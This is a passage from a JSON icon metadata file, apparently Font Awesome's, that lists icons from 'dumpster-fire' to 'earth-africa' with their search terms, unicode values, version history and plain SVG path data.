        "path": "M49.7 32c-10.5 0-19.8 6.9-22.9 16.9L.9 133c-.6 2-.9 4.1-.9 6.1C0 150.7 9.3 160 20.9 160h94L140.5 32H49.7zM272 160V32H173.1L147.5 160H272zm32 0H428.5L402.9 32H304V160zm157.1 0h94c11.5 0 20.9-9.3 20.9-20.9c0-2.1-.3-4.1-.9-6.1L549.2 48.9C546.1 38.9 536.8 32 526.3 32H435.5l25.6 128zM32 192l4 32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H44L64 448c0 17.7 14.3 32 32 32s32-14.3 32-32H448c0 17.7 14.3 32 32 32s32-14.3 32-32l20-160h12c17.7 0 32-14.3 32-32s-14.3-32-32-32h-4l4-32H32z"
      }
    },
    "free": ["solid"]
  },
  "dumpster-fire": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f794"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "alley",
        "bin",
        "commercial",
        "danger",
        "dangerous",
        "euphemism",
        "flame",
        "heat",
        "hot",
        "trash",
        "waste"
      ]
    },
    "styles": ["solid"],
    "unicode": "f794",
    "label": "Dumpster Fire",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M49.7 32c-10.5 0-19.8 6.9-22.9 16.9L.9 133c-.6 2-.9 4.1-.9 6.1C0 150.7 9.3 160 20.9 160h94L140.5 32H49.7zM272 160V32H173.1L147.5 160H272zm32 0h58c15.1-18.1 32.1-35.7 50.5-52.1c1.5-1.4 3.2-2.6 4.8-3.8L402.9 32H304V160zm209.9-23.7c17.4-15.8 43.9-16.2 61.7-1.2c-.1-.7-.3-1.4-.5-2.1L549.2 48.9C546.1 38.9 536.8 32 526.3 32H435.5l12.8 64.2c9.6 1 19 4.9 26.6 11.8c11.7 10.6 23 21.6 33.9 33.1c1.6-1.6 3.3-3.2 5-4.8zM325.2 210.7c3.8-6.2 7.9-12.5 12.3-18.7H32l4 32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H44L64 448c0 17.7 14.3 32 32 32s32-14.3 32-32H337.6c-31-34.7-49.6-80.6-49.6-129.9c0-35.2 16.3-73.6 37.2-107.4zm128.4-78.9c-2.8-2.5-6.3-3.7-9.8-3.8c-3.6 0-7.2 1.2-10 3.7c-33.2 29.7-61.4 63.4-81.4 95.8c-19.7 31.9-32.4 66.2-32.4 92.6C320 407.9 390.3 480 480 480c88.7 0 160-72 160-159.8c0-20.2-9.6-50.9-24.2-79c-14.8-28.5-35.7-58.5-60.4-81.1c-5.6-5.1-14.4-5.2-20 0c-9.6 8.8-18.6 19.6-26.5 29.5c-17.3-20.7-35.8-39.9-55.5-57.7zM530 401c-15 10-31 15-49 15c-45 0-81-29-81-78c0-24 15-45 45-82c4 5 62 79 62 79l36-42c3 4 5 8 7 12c18 33 10 75-20 96z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M49.7 32c-10.5 0-19.8 6.9-22.9 16.9L.9 133c-.6 2-.9 4.1-.9 6.1C0 150.7 9.3 160 20.9 160h94L140.5 32H49.7zM272 160V32H173.1L147.5 160H272zm32 0h58c15.1-18.1 32.1-35.7 50.5-52.1c1.5-1.4 3.2-2.6 4.8-3.8L402.9 32H304V160zm209.9-23.7c17.4-15.8 43.9-16.2 61.7-1.2c-.1-.7-.3-1.4-.5-2.1L549.2 48.9C546.1 38.9 536.8 32 526.3 32H435.5l12.8 64.2c9.6 1 19 4.9 26.6 11.8c11.7 10.6 23 21.6 33.9 33.1c1.6-1.6 3.3-3.2 5-4.8zM325.2 210.7c3.8-6.2 7.9-12.5 12.3-18.7H32l4 32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H44L64 448c0 17.7 14.3 32 32 32s32-14.3 32-32H337.6c-31-34.7-49.6-80.6-49.6-129.9c0-35.2 16.3-73.6 37.2-107.4zm128.4-78.9c-2.8-2.5-6.3-3.7-9.8-3.8c-3.6 0-7.2 1.2-10 3.7c-33.2 29.7-61.4 63.4-81.4 95.8c-19.7 31.9-32.4 66.2-32.4 92.6C320 407.9 390.3 480 480 480c88.7 0 160-72 160-159.8c0-20.2-9.6-50.9-24.2-79c-14.8-28.5-35.7-58.5-60.4-81.1c-5.6-5.1-14.4-5.2-20 0c-9.6 8.8-18.6 19.6-26.5 29.5c-17.3-20.7-35.8-39.9-55.5-57.7zM530 401c-15 10-31 15-49 15c-45 0-81-29-81-78c0-24 15-45 45-82c4 5 62 79 62 79l36-42c3 4 5 8 7 12c18 33 10 75-20 96z"
      }
    },
    "free": ["solid"]
  },
  "dungeon": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f6d9"]
      }
    },
    "changes": [
      "5.4.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "building",
        "d&d",
        "dnd",
        "door",
        "entrance",
        "fantasy",
        "gate"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6d9",
    "label": "Dungeon",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M336.6 156.5c1.3 1.1 2.7 2.2 3.9 3.3c9.3 8.2 23 10.5 33.4 3.6l67.6-45.1c11.4-7.6 14.2-23.2 5.1-33.4C430 66.6 410.9 50.6 389.7 37.6c-11.9-7.3-26.9-1.4-32.1 11.6l-30.5 76.2c-4.5 11.1 .2 23.6 9.5 31.2zM328 36.8c5.1-12.8-1.6-27.4-15-30.5C294.7 2.2 275.6 0 256 0s-38.7 2.2-57 6.4C185.5 9.4 178.8 24 184 36.8l30.3 75.8c4.5 11.3 16.8 17.2 29 16c4.2-.4 8.4-.6 12.7-.6s8.6 .2 12.7 .6c12.1 1.2 24.4-4.7 29-16L328 36.8zM65.5 85c-9.1 10.2-6.3 25.8 5.1 33.4l67.6 45.1c10.3 6.9 24.1 4.6 33.4-3.6c1.3-1.1 2.6-2.3 4-3.3c9.3-7.5 13.9-20.1 9.5-31.2L154.4 49.2c-5.2-12.9-20.3-18.8-32.1-11.6C101.1 50.6 82 66.6 65.5 85zm314 137.1c.9 3.3 1.7 6.6 2.3 10c2.5 13 13 23.9 26.2 23.9h80c13.3 0 24.1-10.8 22.9-24c-2.5-27.2-9.3-53.2-19.7-77.3c-5.5-12.9-21.4-16.6-33.1-8.9l-68.6 45.7c-9.8 6.5-13.2 19.2-10 30.5zM53.9 145.8c-11.6-7.8-27.6-4-33.1 8.9C10.4 178.8 3.6 204.8 1.1 232c-1.2 13.2 9.6 24 22.9 24h80c13.3 0 23.8-10.8 26.2-23.9c.6-3.4 1.4-6.7 2.3-10c3.1-11.4-.2-24-10-30.5L53.9 145.8zM104 288H24c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V312c0-13.3-10.7-24-24-24zm304 0c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V312c0-13.3-10.7-24-24-24H408zM24 416c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V440c0-13.3-10.7-24-24-24H24zm384 0c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V440c0-13.3-10.7-24-24-24H408zM272 192c0-8.8-7.2-16-16-16s-16 7.2-16 16V464c0 8.8 7.2 16 16 16s16-7.2 16-16V192zm-64 32c0-8.8-7.2-16-16-16s-16 7.2-16 16V464c0 8.8 7.2 16 16 16s16-7.2 16-16V224zm128 0c0-8.8-7.2-16-16-16s-16 7.2-16 16V464c0 8.8 7.2 16 16 16s16-7.2 16-16V224z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M336.6 156.5c1.3 1.1 2.7 2.2 3.9 3.3c9.3 8.2 23 10.5 33.4 3.6l67.6-45.1c11.4-7.6 14.2-23.2 5.1-33.4C430 66.6 410.9 50.6 389.7 37.6c-11.9-7.3-26.9-1.4-32.1 11.6l-30.5 76.2c-4.5 11.1 .2 23.6 9.5 31.2zM328 36.8c5.1-12.8-1.6-27.4-15-30.5C294.7 2.2 275.6 0 256 0s-38.7 2.2-57 6.4C185.5 9.4 178.8 24 184 36.8l30.3 75.8c4.5 11.3 16.8 17.2 29 16c4.2-.4 8.4-.6 12.7-.6s8.6 .2 12.7 .6c12.1 1.2 24.4-4.7 29-16L328 36.8zM65.5 85c-9.1 10.2-6.3 25.8 5.1 33.4l67.6 45.1c10.3 6.9 24.1 4.6 33.4-3.6c1.3-1.1 2.6-2.3 4-3.3c9.3-7.5 13.9-20.1 9.5-31.2L154.4 49.2c-5.2-12.9-20.3-18.8-32.1-11.6C101.1 50.6 82 66.6 65.5 85zm314 137.1c.9 3.3 1.7 6.6 2.3 10c2.5 13 13 23.9 26.2 23.9h80c13.3 0 24.1-10.8 22.9-24c-2.5-27.2-9.3-53.2-19.7-77.3c-5.5-12.9-21.4-16.6-33.1-8.9l-68.6 45.7c-9.8 6.5-13.2 19.2-10 30.5zM53.9 145.8c-11.6-7.8-27.6-4-33.1 8.9C10.4 178.8 3.6 204.8 1.1 232c-1.2 13.2 9.6 24 22.9 24h80c13.3 0 23.8-10.8 26.2-23.9c.6-3.4 1.4-6.7 2.3-10c3.1-11.4-.2-24-10-30.5L53.9 145.8zM104 288H24c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V312c0-13.3-10.7-24-24-24zm304 0c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V312c0-13.3-10.7-24-24-24H408zM24 416c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V440c0-13.3-10.7-24-24-24H24zm384 0c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V440c0-13.3-10.7-24-24-24H408zM272 192c0-8.8-7.2-16-16-16s-16 7.2-16 16V464c0 8.8 7.2 16 16 16s16-7.2 16-16V192zm-64 32c0-8.8-7.2-16-16-16s-16 7.2-16 16V464c0 8.8 7.2 16 16 16s16-7.2 16-16V224zm128 0c0-8.8-7.2-16-16-16s-16 7.2-16 16V464c0 8.8 7.2 16 16 16s16-7.2 16-16V224z"
      }
    },
    "free": ["solid"]
  },
  "dyalog": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f399",
    "label": "Dyalog",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 416 512\"><path d=\"M0 32v119.2h64V96h107.2C284.6 96 352 176.2 352 255.9 352 332 293.4 416 171.2 416H0v64h171.2C331.9 480 416 367.3 416 255.9c0-58.7-22.1-113.4-62.3-154.3C308.9 56 245.7 32 171.2 32H0z\"/></svg>",
        "viewBox": [0, 0, 416, 512],
        "width": 416,
        "height": 512,
        "path": "M0 32v119.2h64V96h107.2C284.6 96 352 176.2 352 255.9 352 332 293.4 416 171.2 416H0v64h171.2C331.9 480 416 367.3 416 255.9c0-58.7-22.1-113.4-62.3-154.3C308.9 56 245.7 32 171.2 32H0z"
      }
    },
    "free": ["brands"]
  },
  "e": {
    "aliases": {
      "unicodes": {
        "composite": ["65"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter E", "Latin Small Letter E", "letter"]
    },
    "styles": ["solid"],
    "unicode": "45",
    "label": "E",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V256 416c0 35.3 28.7 64 64 64H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H64V288H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H64V96H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H64z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V256 416c0 35.3 28.7 64 64 64H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H64V288H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H64V96H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H64z"
      }
    },
    "free": ["solid"]
  },
  "ear-deaf": {
    "aliases": {
      "names": ["deaf", "deafness", "hard-of-hearing"],
      "unicodes": {
        "secondary": ["10f2a4"]
      }
    },
    "changes": ["4.6.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["ear", "hearing", "sign language"]
    },
    "styles": ["solid"],
    "unicode": "f2a4",
    "label": "Ear Deaf",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.6 54.6l-40 40c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l40-40c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3zm-320 320l-128 128c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l128-128c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3zM240 128c-57.6 0-105.1 43.6-111.3 99.5c-1.9 17.6-17.8 30.2-35.3 28.3s-30.2-17.8-28.3-35.3C74.8 132.5 149.4 64 240 64c97.2 0 176 78.8 176 176c0 46-17.7 87.9-46.6 119.3c-12 13-17.4 24.8-17.4 34.7V400c0 61.9-50.1 112-112 112c-17.7 0-32-14.3-32-32s14.3-32 32-32c26.5 0 48-21.5 48-48v-6.1c0-32.9 17.4-59.6 34.4-78c18.4-20 29.6-46.6 29.6-75.9c0-61.9-50.1-112-112-112zm0 80c-17.7 0-32 14.3-32 32c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-44.2 35.8-80 80-80s80 35.8 80 80c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-17.7-14.3-32-32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M502.6 54.6l-40 40c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l40-40c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3zm-320 320l-128 128c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l128-128c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3zM240 128c-57.6 0-105.1 43.6-111.3 99.5c-1.9 17.6-17.8 30.2-35.3 28.3s-30.2-17.8-28.3-35.3C74.8 132.5 149.4 64 240 64c97.2 0 176 78.8 176 176c0 46-17.7 87.9-46.6 119.3c-12 13-17.4 24.8-17.4 34.7V400c0 61.9-50.1 112-112 112c-17.7 0-32-14.3-32-32s14.3-32 32-32c26.5 0 48-21.5 48-48v-6.1c0-32.9 17.4-59.6 34.4-78c18.4-20 29.6-46.6 29.6-75.9c0-61.9-50.1-112-112-112zm0 80c-17.7 0-32 14.3-32 32c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-44.2 35.8-80 80-80s80 35.8 80 80c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-17.7-14.3-32-32-32z"
      }
    },
    "free": ["solid"]
  },
  "ear-listen": {
    "aliases": {
      "names": ["assistive-listening-systems"],
      "unicodes": {
        "secondary": ["10f2a2"]
      }
    },
    "changes": ["4.6.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "amplify",
        "audio",
        "deaf",
        "ear",
        "headset",
        "hearing",
        "sound"
      ]
    },
    "styles": ["solid"],
    "unicode": "f2a2",
    "label": "Ear Listen",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M398.3 3.4c-15.8-7.9-35-1.5-42.9 14.3c-7.9 15.8-1.5 34.9 14.2 42.9l.4 .2c.4 .2 1.1 .6 2.1 1.2c2 1.2 5 3 8.7 5.6c7.5 5.2 17.6 13.2 27.7 24.2C428.5 113.4 448 146 448 192c0 17.7 14.3 32 32 32s32-14.3 32-32c0-66-28.5-113.4-56.5-143.7C441.6 33.2 427.7 22.2 417.3 15c-5.3-3.7-9.7-6.4-13-8.3c-1.6-1-3-1.7-4-2.2c-.5-.3-.9-.5-1.2-.7l-.4-.2-.2-.1-.1 0 0 0c0 0 0 0-14.3 28.6L398.3 3.4zM128.7 227.5c6.2-56 53.7-99.5 111.3-99.5c61.9 0 112 50.1 112 112c0 29.3-11.2 55.9-29.6 75.9c-17 18.4-34.4 45.1-34.4 78V400c0 26.5-21.5 48-48 48c-17.7 0-32 14.3-32 32s14.3 32 32 32c61.9 0 112-50.1 112-112v-6.1c0-9.8 5.4-21.7 17.4-34.7C398.3 327.9 416 286 416 240c0-97.2-78.8-176-176-176C149.4 64 74.8 132.5 65.1 220.5c-1.9 17.6 10.7 33.4 28.3 35.3s33.4-10.7 35.3-28.3zM32 512a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM192 352a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM41.4 361.4c-12.5 12.5-12.5 32.8 0 45.3l64 64c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-64-64c-12.5-12.5-32.8-12.5-45.3 0zM208 240c0-17.7 14.3-32 32-32s32 14.3 32 32c0 13.3 10.7 24 24 24s24-10.7 24-24c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 13.3 10.7 24 24 24s24-10.7 24-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M398.3 3.4c-15.8-7.9-35-1.5-42.9 14.3c-7.9 15.8-1.5 34.9 14.2 42.9l.4 .2c.4 .2 1.1 .6 2.1 1.2c2 1.2 5 3 8.7 5.6c7.5 5.2 17.6 13.2 27.7 24.2C428.5 113.4 448 146 448 192c0 17.7 14.3 32 32 32s32-14.3 32-32c0-66-28.5-113.4-56.5-143.7C441.6 33.2 427.7 22.2 417.3 15c-5.3-3.7-9.7-6.4-13-8.3c-1.6-1-3-1.7-4-2.2c-.5-.3-.9-.5-1.2-.7l-.4-.2-.2-.1-.1 0 0 0c0 0 0 0-14.3 28.6L398.3 3.4zM128.7 227.5c6.2-56 53.7-99.5 111.3-99.5c61.9 0 112 50.1 112 112c0 29.3-11.2 55.9-29.6 75.9c-17 18.4-34.4 45.1-34.4 78V400c0 26.5-21.5 48-48 48c-17.7 0-32 14.3-32 32s14.3 32 32 32c61.9 0 112-50.1 112-112v-6.1c0-9.8 5.4-21.7 17.4-34.7C398.3 327.9 416 286 416 240c0-97.2-78.8-176-176-176C149.4 64 74.8 132.5 65.1 220.5c-1.9 17.6 10.7 33.4 28.3 35.3s33.4-10.7 35.3-28.3zM32 512a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM192 352a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM41.4 361.4c-12.5 12.5-12.5 32.8 0 45.3l64 64c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-64-64c-12.5-12.5-32.8-12.5-45.3 0zM208 240c0-17.7 14.3-32 32-32s32 14.3 32 32c0 13.3 10.7 24 24 24s24-10.7 24-24c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 13.3 10.7 24 24 24s24-10.7 24-24z"
      }
    },
    "free": ["solid"]
  },
  "earlybirds": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f39a",
    "label": "Earlybirds",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 480 512\"><path d=\"M313.2 47.5c1.2-13 21.3-14 36.6-8.7.9.3 26.2 9.7 19 15.2-27.9-7.4-56.4 18.2-55.6-6.5zm-201 6.9c30.7-8.1 62 20 61.1-7.1-1.3-14.2-23.4-15.3-40.2-9.6-1 .3-28.7 10.5-20.9 16.7zM319.4 160c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm-159.7 0c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm318.5 163.2c-9.9 24-40.7 11-63.9-1.2-13.5 69.1-58.1 111.4-126.3 124.2.3.9-2-.1 24 1 33.6 1.4 63.8-3.1 97.4-8-19.8-13.8-11.4-37.1-9.8-38.1 1.4-.9 14.7 1.7 21.6 11.5 8.6-12.5 28.4-14.8 30.2-13.6 1.6 1.1 6.6 20.9-6.9 34.6 4.7-.9 8.2-1.6 9.8-2.1 2.6-.8 17.7 11.3 3.1 13.3-14.3 2.3-22.6 5.1-47.1 10.8-45.9 10.7-85.9 11.8-117.7 12.8l1 11.6c3.8 18.1-23.4 24.3-27.6 6.2.8 17.9-27.1 21.8-28.4-1l-.5 5.3c-.7 18.4-28.4 17.9-28.3-.6-7.5 13.5-28.1 6.8-26.4-8.5l1.2-12.4c-36.7.9-59.7 3.1-61.8 3.1-20.9 0-20.9-31.6 0-31.6 2.4 0 27.7 1.3 63.2 2.8-61.1-15.5-103.7-55-114.9-118.2-25 12.8-57.5 26.8-68.2.8-10.5-25.4 21.5-42.6 66.8-73.4.7-6.6 1.6-13.3 2.7-19.8-14.4-19.6-11.6-36.3-16.1-60.4-16.8 2.4-23.2-9.1-23.6-23.1.3-7.3 2.1-14.9 2.4-15.4 1.1-1.8 10.1-2 12.7-2.6 6-31.7 50.6-33.2 90.9-34.5 19.7-21.8 45.2-41.5 80.9-48.3C203.3 29 215.2 8.5 216.2 8c1.7-.8 21.2 4.3 26.3 23.2 5.2-8.8 18.3-11.4 19.6-10.7 1.1.6 6.4 15-4.9 25.9 40.3 3.5 72.2 24.7 96 50.7 36.1 1.5 71.8 5.9 77.1 34 2.7.6 11.6.8 12.7 2.6.3.5 2.1 8.1 2.4 15.4-.5 13.9-6.8 25.4-23.6 23.1-3.2 17.3-2.7 32.9-8.7 47.7 2.4 11.7 4 23.8 4.8 36.4 37 25.4 70.3 42.5 60.3 66.9zM207.4 159.9c.9-44-37.9-42.2-78.6-40.3-21.7 1-38.9 1.9-45.5 13.9-11.4 20.9 5.9 92.9 23.2 101.2 9.8 4.7 73.4 7.9 86.3-7.1 8.2-9.4 15-49.4 14.6-67.7zm52 58.3c-4.3-12.4-6-30.1-15.3-32.7-2-.5-9-.5-11 0-10 2.8-10.8 22.1-17 37.2 15.4 0 19.3 9.7 23.7 9.7 4.3 0 6.3-11.3 19.6-14.2zm135.7-84.7c-6.6-12.1-24.8-12.9-46.5-13.9-40.2-1.9-78.2-3.8-77.3 40.3-.5 18.3 5 58.3 13.2 67.8 13 14.9 76.6 11.8 86.3 7.1 15.8-7.6 36.5-78.9 24.3-101.3z\"/></svg>",
        "viewBox": [0, 0, 480, 512],
        "width": 480,
        "height": 512,
        "path": "M313.2 47.5c1.2-13 21.3-14 36.6-8.7.9.3 26.2 9.7 19 15.2-27.9-7.4-56.4 18.2-55.6-6.5zm-201 6.9c30.7-8.1 62 20 61.1-7.1-1.3-14.2-23.4-15.3-40.2-9.6-1 .3-28.7 10.5-20.9 16.7zM319.4 160c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm-159.7 0c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm318.5 163.2c-9.9 24-40.7 11-63.9-1.2-13.5 69.1-58.1 111.4-126.3 124.2.3.9-2-.1 24 1 33.6 1.4 63.8-3.1 97.4-8-19.8-13.8-11.4-37.1-9.8-38.1 1.4-.9 14.7 1.7 21.6 11.5 8.6-12.5 28.4-14.8 30.2-13.6 1.6 1.1 6.6 20.9-6.9 34.6 4.7-.9 8.2-1.6 9.8-2.1 2.6-.8 17.7 11.3 3.1 13.3-14.3 2.3-22.6 5.1-47.1 10.8-45.9 10.7-85.9 11.8-117.7 12.8l1 11.6c3.8 18.1-23.4 24.3-27.6 6.2.8 17.9-27.1 21.8-28.4-1l-.5 5.3c-.7 18.4-28.4 17.9-28.3-.6-7.5 13.5-28.1 6.8-26.4-8.5l1.2-12.4c-36.7.9-59.7 3.1-61.8 3.1-20.9 0-20.9-31.6 0-31.6 2.4 0 27.7 1.3 63.2 2.8-61.1-15.5-103.7-55-114.9-118.2-25 12.8-57.5 26.8-68.2.8-10.5-25.4 21.5-42.6 66.8-73.4.7-6.6 1.6-13.3 2.7-19.8-14.4-19.6-11.6-36.3-16.1-60.4-16.8 2.4-23.2-9.1-23.6-23.1.3-7.3 2.1-14.9 2.4-15.4 1.1-1.8 10.1-2 12.7-2.6 6-31.7 50.6-33.2 90.9-34.5 19.7-21.8 45.2-41.5 80.9-48.3C203.3 29 215.2 8.5 216.2 8c1.7-.8 21.2 4.3 26.3 23.2 5.2-8.8 18.3-11.4 19.6-10.7 1.1.6 6.4 15-4.9 25.9 40.3 3.5 72.2 24.7 96 50.7 36.1 1.5 71.8 5.9 77.1 34 2.7.6 11.6.8 12.7 2.6.3.5 2.1 8.1 2.4 15.4-.5 13.9-6.8 25.4-23.6 23.1-3.2 17.3-2.7 32.9-8.7 47.7 2.4 11.7 4 23.8 4.8 36.4 37 25.4 70.3 42.5 60.3 66.9zM207.4 159.9c.9-44-37.9-42.2-78.6-40.3-21.7 1-38.9 1.9-45.5 13.9-11.4 20.9 5.9 92.9 23.2 101.2 9.8 4.7 73.4 7.9 86.3-7.1 8.2-9.4 15-49.4 14.6-67.7zm52 58.3c-4.3-12.4-6-30.1-15.3-32.7-2-.5-9-.5-11 0-10 2.8-10.8 22.1-17 37.2 15.4 0 19.3 9.7 23.7 9.7 4.3 0 6.3-11.3 19.6-14.2zm135.7-84.7c-6.6-12.1-24.8-12.9-46.5-13.9-40.2-1.9-78.2-3.8-77.3 40.3-.5 18.3 5 58.3 13.2 67.8 13 14.9 76.6 11.8 86.3 7.1 15.8-7.6 36.5-78.9 24.3-101.3z"
      }
    },
    "free": ["brands"]
  },
  "earth-africa": {
    "aliases": {
      "names": ["globe-africa"],
      "unicodes": {
        "composite": ["1f30d"],
        "secondary": ["10f57c"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "africa",
        "all",
        "country",
        "earth",
        "europe",
        "global",
        "globe",
        "gps",
        "language",
        "localize",
        "location",
        "map",
        "online",
        "place",
        "planet",
        "translate",
        "travel",
        "world"
      ]
    },
    "styles": ["solid"],
    "unicode": "f57c",
    "label": "Earth Africa",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M177.8 63.2l10 17.4c2.8 4.8 4.2 10.3 4.2 15.9v41.4c0 3.9 1.6 7.7 4.3 10.4c6.2 6.2 16.5 5.7 22-1.2l13.6-17c4.7-5.9 12.9-7.7 19.6-4.3l15.2 7.6c3.4 1.7 7.2 2.6 11 2.6c6.5 0 12.8-2.6 17.4-7.2l3.9-3.9c2.9-2.9 7.3-3.6 11-1.8l29.2 14.6c7.8 3.9 12.6 11.8 12.6 20.5c0 10.5-7.1 19.6-17.3 22.2l-35.4 8.8c-7.4 1.8-15.1 1.5-22.4-.9l-32-10.7c-3.3-1.1-6.7-1.7-10.2-1.7c-7 0-13.8 2.3-19.4 6.5L176 212c-10.1 7.6-16 19.4-16 32v28c0 26.5 21.5 48 48 48h32c8.8 0 16 7.2 16 16v48c0 17.7 14.3 32 32 32c10.1 0 19.6-4.7 25.6-12.8l25.6-34.1c8.3-11.1 12.8-24.6 12.8-38.4V318.6c0-3.9 2.6-7.3 6.4-8.2l5.3-1.3c11.9-3 20.3-13.7 20.3-26c0-7.1-2.8-13.9-7.8-18.9l-33.5-33.5c-3.7-3.7-3.7-9.7 0-13.4c5.7-5.7 14.1-7.7 21.8-5.1l14.1 4.7c12.3 4.1 25.7-1.5 31.5-13c3.5-7 11.2-10.8 18.9-9.2l27.4 5.5C432 112.4 351.5 48 256 48c-27.7 0-54 5.4-78.2 15.2zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
